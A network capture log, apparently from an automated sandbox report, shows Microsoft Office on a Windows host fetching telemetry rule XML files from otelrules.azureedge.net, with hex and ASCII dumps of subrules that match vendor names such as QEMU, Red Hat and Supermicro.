2024-11-19 23:19:20 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:20 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:20 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 733c43f5-901e-007b-0e8c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231920Z-r1d97b99577n5jhbhC1TEB74vn000000082g000000002z81 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:20 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:20 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:20 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0cd4e810-101e-0079-148c-3a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231920Z-1777c6cb754xlpjshC1TEBv8cc00000008sg00000000wt6h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:20 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:20 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:20 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231920Z-1777c6cb754mrj2shC1TEB6k7w00000008u000000000mune x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:20 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:20 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:20 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 495def62-b01e-0098-458c-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231920Z-r1d97b99577dd2gchC1TEBz5ys00000007sg00000000n7zb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:20 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:21 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:21 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231921Z-1777c6cb7549x5qchC1TEBggbg00000008x0000000002zd4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:21 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:21 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:21 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bfe6dbcf-201e-006e-678c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231921Z-r1d97b99577tssmjhC1TEB8kan00000007u000000000nce9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:21 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:21 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:21 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 9cb1ed33-701e-0021-398c-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231921Z-185f5d8b95crwqd8hC1NYCps6800000009d000000000a3wv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:21 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:21 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:21 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 41283c59-801e-0015-058c-3af97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231921Z-r1d97b99577d6qrbhC1TEBux5s000000081g00000000qkvr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:21 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:21 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:21 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231921Z-1777c6cb754g9zd5hC1TEBfvpw00000008v000000000h1ks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:21 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:21 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:21 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 4f8e9926-c01e-00ad-7c8c-3aa2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231921Z-185f5d8b95c96jn4hC1NYCbgp800000009dg00000000af4y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:21 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:22 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231922Z-r1d97b9957747b9jhC1TEBgyec000000085g000000007x3m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:22 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
